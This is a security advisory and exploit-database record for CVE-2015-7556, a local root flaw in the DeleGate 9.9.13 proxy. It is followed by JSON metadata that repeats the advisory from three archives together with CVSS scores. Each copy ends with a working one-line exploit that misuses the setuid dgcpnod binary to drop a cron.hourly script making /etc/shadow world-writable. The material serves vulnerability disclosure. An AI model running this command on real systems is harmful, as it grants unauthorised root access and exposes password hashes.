ID EDB-ID:39134 Type exploitdb Reporter Larry W. Cashdollar Modified 2015-12-30T00:00:00
Description
DeleGate 9.9.13 - Local Root Vulnerability. CVE-2015-7556. Local exploit for linux platform
Title: Local root vulnerability in DeleGate v9.9.13
Author: Larry W. Cashdollar, @_larry0
Date: 2015-12-17
Advisory: http://www.vapidlabs.com/advisory.php?v=159
Download Sites: http://delegate.hpcc.jp/delegate/
http://delegate.org/delegate/
Vendor: National Institute of Advanced Industrial Science and Technology
Vendor Notified: 2015-12-17
Vendor Contact: y.sato@delegate.org ysato@etl.go.jp
Description: DeleGate is a multipurpose proxy server which relays various application protocols on TCP/IP or UDP/IP, including HTTP, FTP, Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and more. DeleGate mediates communication between servers and clients where direct communication is impossible, inefficient, or inconvenient.
Vulnerability:
Installation of delegate 9.9.13 sets some binaries setuid root, at least one of these binaries can be used to escalate the privileges of a local user. The binary dgcpnod creates a node allowing a local unprivileged user to create files anywhere on disk. By creating a file in /etc/cron.hourly a local user can execute commands as root.
Installation of software via source or binary distribution with option to not run as root results in a script set-subin.sh to run setting the setuid bit on four binaries. In Linux distributions where this software is part of the package list these binaries are not setuid root. (archlinux)
From documentation http://www.delegate.org/delegate/newbies-ja.shtml (translated to english):
Go is included in the binary distribution, or DGROOT that you can build from the source to the location of preference, and then change the name if necessary. This is the DgRoot. In addition, if needed, you can rename the executable file of DeleGate to the name of the preference. This is the DgExe.
"In Unix version subin in if you want to use "(such as when using a privileged port), do the following.
(3-2uk) $ cd DgRoot / subin
$ Sh setup-subin.sh
larry@f4ult:~/dg9_9_13/DGROOT/subin$ ls -l
total 1916
-r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind
-r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot
-r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod
-rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate
-rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty
-r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam
-rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh
This script sets the setuid bit on four binaries:
larry@f4ult:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh
#!/bin/sh
SUBINS="dgpam dgbind dgchroot dgcpnod"
sudo sh -c "chown root $SUBINS; chmod 6550 $SUBINS"
if [ $? != 0 ]; then
su root -c "chown root $SUBINS; chmod 6550 $SUBINS"
fi
CVEID: 2015-7556
Exploit Code:
$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme
{"id": "EDB-ID:39134", "type": "exploitdb", "bulletinFamily": "exploit", "title": "DeleGate 9.9.13 - Local Root Vulnerability", "description": "DeleGate 9.9.13 - Local Root Vulnerability. CVE-2015-7556. Local exploit for linux platform", "published": "2015-12-30T00:00:00", "modified": "2015-12-30T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/39134/", "reporter": "Larry W. Cashdollar", "references": [], "cvelist": ["CVE-2015-7556"], "lastseen": "2016-02-04T09:34:18", "viewCount": 7, "enchantments": {"score": {"value": 4.5, "vector": "NONE", "modified": "2016-02-04T09:34:18", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-7556"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:135089"]}, {"type": "zdt", "idList": ["1337DAY-ID-25474"]}], "modified": "2016-02-04T09:34:18", "rev": 2}, "vulnersScore": 4.5}, "sourceHref": "https://www.exploit-db.com/download/39134/", "sourceData": "Title: Local root vulnerability in DeleGate v9.9.13\r\nAuthor: Larry W. Cashdollar, @_larry0\r\nDate: 2015-12-17\r\nAdvisory: http://www.vapidlabs.com/advisory.php?v=159\r\nDownload Sites: http://delegate.hpcc.jp/delegate/ \r\n http://delegate.org/delegate/\r\nVendor: National Institute of Advanced Industrial Science and Technology\r\nVendor Notified: 2015-12-17\r\nVendor Contact: y.sato@delegate.org ysato@etl.go.jp\r\nDescription: DeleGate is a multipurpose proxy server which relays various application protocols on TCP/IP or UDP/IP, including HTTP, FTP, Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and more. DeleGate mediates communication between servers and clients where direct communication is impossible, inefficient, or inconvenient.\r\n\r\nVulnerability:\r\nInstallation of delegate 9.9.13 sets some binaries setuid root, at least one of these binaries can be used to escalate the privileges of a local user. The binary dgcpnod creates a node allowing a local unprivileged user to create files anywhere on disk. By creating a file in /etc/cron.hourly a local user can execute commands as root.\r\n\r\nInstallation of software via source or binary distribution with option to not run as root results in a script set-subin.sh to run setting the setuid bit on four binaries. In Linux distributions where this software is part of the package list these binaries are not setuid root. (archlinux)\r\n\r\nFrom documentation http://www.delegate.org/delegate/newbies-ja.shtml (translated to english):\r\nGo is included in the binary distribution, or DGROOT that you can build from the source to the location of preference, and then change the name if necessary. This is the DgRoot. In addition, if needed, you can rename the executable file of DeleGate to the name of the preference. This is the DgExe.\r\n\"In Unix version subin in if you want to use \"(such as when using a privileged port), do the following.\r\n\r\n (3-2uk) $ cd DgRoot / subin\r\n $ Sh setup-subin.sh\r\n\r\nlarry@f4ult:~/dg9_9_13/DGROOT/subin$ ls -l\r\ntotal 1916\r\n-r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind\r\n-r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot\r\n-r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod\r\n-rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate\r\n-rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty\r\n-r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam\r\n-rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh\r\n\r\nThis script sets the setuid bit on four binaries:\r\n\r\nlarry@f4ult:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh\r\n#!/bin/sh\r\n\r\nSUBINS=\"dgpam dgbind dgchroot dgcpnod\"\r\nsudo sh -c \"chown root $SUBINS; chmod 6550 $SUBINS\"\r\nif [ $? != 0 ]; then\r\n su root -c \"chown root $SUBINS; chmod 6550 $SUBINS\"\r\nfi\r\n\r\nCVEID: 2015-7556\r\n\r\n\r\nExploit Code:\r\n$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \\n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme ", "osvdbidlist": ["132147"]}
{"cve": [{"lastseen": "2020-10-03T12:49:55", "description": "DeleGate 9.9.13 allows local users to gain privileges as demonstrated by the dgcpnod setuid program.", "edition": 4, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-15T15:15:00", "title": "CVE-2015-7556", "type": "cve", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-7556"], "modified": "2020-01-24T16:28:00", "cpe": ["cpe:/a:delegate:delegate:9.9.13"], "id": "CVE-2015-7556", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-7556", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:delegate:delegate:9.9.13:*:*:*:*:*:*:*"]}], "zdt": [{"lastseen": "2018-04-08T22:54:31", "edition": 2, "description": "Exploit for linux platform in category local exploits", "published": "2015-12-30T00:00:00", "type": "zdt", "title": "DeleGate 9.9.13 - Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-7556"], "modified": "2015-12-30T00:00:00", "id": "1337DAY-ID-25474", "href": "https://0day.today/exploit/description/25474", "sourceData": "Title: Local root vulnerability in DeleGate v9.9.13\r\nAuthor: Larry W. Cashdollar, @_larry0\r\nDate: 2015-12-17\r\nAdvisory: http://www.vapidlabs.com/advisory.php?v=159\r\nDownload Sites: http://delegate.hpcc.jp/delegate/ \r\n http://delegate.org/delegate/\r\nVendor: National Institute of Advanced Industrial Science and Technology\r\nVendor Notified: 2015-12-17\r\nVendor Contact: [email\u00a0protected] [email\u00a0protected]\r\nDescription: DeleGate is a multipurpose proxy server which relays various application protocols on TCP/IP or UDP/IP, including HTTP, FTP, Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and more. DeleGate mediates communication between servers and clients where direct communication is impossible, inefficient, or inconvenient.\r\n \r\nVulnerability:\r\nInstallation of delegate 9.9.13 sets some binaries setuid root, at least one of these binaries can be used to escalate the privileges of a local user. The binary dgcpnod creates a node allowing a local unprivileged user to create files anywhere on disk. By creating a file in /etc/cron.hourly a local user can execute commands as root.\r\n \r\nInstallation of software via source or binary distribution with option to not run as root results in a script set-subin.sh to run setting the setuid bit on four binaries. In Linux distributions where this software is part of the package list these binaries are not setuid root. (archlinux)\r\n \r\nFrom documentation http://www.delegate.org/delegate/newbies-ja.shtml (translated to english):\r\nGo is included in the binary distribution, or DGROOT that you can build from the source to the location of preference, and then change the name if necessary. This is the DgRoot. In addition, if needed, you can rename the executable file of DeleGate to the name of the preference. This is the DgExe.\r\n\"In Unix version subin in if you want to use \"(such as when using a privileged port), do the following.\r\n \r\n (3-2uk) $ cd DgRoot / subin\r\n $ Sh setup-subin.sh\r\n \r\n[email\u00a0protected]:~/dg9_9_13/DGROOT/subin$ ls -l\r\ntotal 1916\r\n-r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind\r\n-r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot\r\n-r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod\r\n-rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate\r\n-rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty\r\n-r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam\r\n-rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh\r\n \r\nThis script sets the setuid bit on four binaries:\r\n \r\n[email\u00a0protected]:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh\r\n#!/bin/sh\r\n \r\nSUBINS=\"dgpam dgbind dgchroot dgcpnod\"\r\nsudo sh -c \"chown root $SUBINS; chmod 6550 $SUBINS\"\r\nif [ $? != 0 ]; then\r\n su root -c \"chown root $SUBINS; chmod 6550 $SUBINS\"\r\nfi\r\n \r\nCVEID: 2015-7556\r\n \r\n \r\nExploit Code:\r\n$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \\n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme\n\n# 0day.today [2018-04-08] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/25474"}], "packetstorm": [{"lastseen": "2016-12-05T22:13:51", "description": "", "published": "2015-12-30T00:00:00", "type": "packetstorm", "title": "DeleGate 9.9.13 Local Root", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-7556"], "modified": "2015-12-30T00:00:00", "id": "PACKETSTORM:135089", "href": "https://packetstormsecurity.com/files/135089/DeleGate-9.9.13-Local-Root.html", "sourceData": "`Title: Local root vulnerability in DeleGate v9.9.13 \nAuthor: Larry W. Cashdollar, @_larry0 \nDate: 2015-12-17 \nAdvisory: http://www.vapidlabs.com/advisory.php?v=159 \nDownload Sites: http://delegate.hpcc.jp/delegate/ \nhttp://delegate.org/delegate/ \nVendor: National Institute of Advanced Industrial Science and Technology \nVendor Notified: 2015-12-17 \nVendor Contact: y.sato@delegate.org ysato@etl.go.jp \nDescription: DeleGate is a multipurpose proxy server which relays \nvarious application protocols on TCP/IP or UDP/IP, including HTTP, FTP, \nTelnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and \nmore. DeleGate mediates communication between servers and clients where \ndirect communication is impossible, inefficient, or inconvenient. \n \nVulnerability: \nInstallation of delegate 9.9.13 sets some binaries setuid root, at least \none of these binaries can be used to escalate the privileges of a local \nuser. The binary dgcpnod creates a node allowing a local unprivileged \nuser to create files anywhere on disk. By creating a file in \n/etc/cron.hourly a local user can execute commands as root. \n \nInstallation of software via source or binary distribution with option \nto not run as root results in a script set-subin.sh to run setting the \nsetuid bit on four binaries. In Linux distributions where this software \nis part of the package list these binaries are not setuid root. (archlinux) \n \nFrom documentation http://www.delegate.org/delegate/newbies-ja.shtml \n(translated to english): \nGo is included in the binary distribution, or DGROOT that you can build \nfrom the source to the location of preference, and then change the name \nif necessary. This is the DgRoot. In addition, if needed, you can rename \nthe executable file of DeleGate to the name of the preference. This is \nthe DgExe. \n\"In Unix version subin in if you want to use \"(such as when using a \nprivileged port), do the following. \n \n(3-2uk) $ cd DgRoot / subin \n$ Sh setup-subin.sh \n \nlarry@f4ult:~/dg9_9_13/DGROOT/subin$ ls -l \ntotal 1916 \n-r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind \n-r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot \n-r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod \n-rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate \n-rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty \n-r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam \n-rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh \n \nThis script sets the setuid bit on four binaries: \n \nlarry@f4ult:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh \n#!/bin/sh \n \nSUBINS=\"dgpam dgbind dgchroot dgcpnod\" \nsudo sh -c \"chown root $SUBINS; chmod 6550 $SUBINS\" \nif [ $? != 0 ]; then \nsu root -c \"chown root $SUBINS; chmod 6550 $SUBINS\" \nfi \nCVEID: 2015-7556 \nExploit Code: \n$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme \n/etc/cron.hourly/rootme; echo -e '#!/bin/bash \\n chmod 777 /etc/shadow' \n> /etc/cron.hourly/rootme \n \n \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/135089/delegate9913-escalate.txt"}]}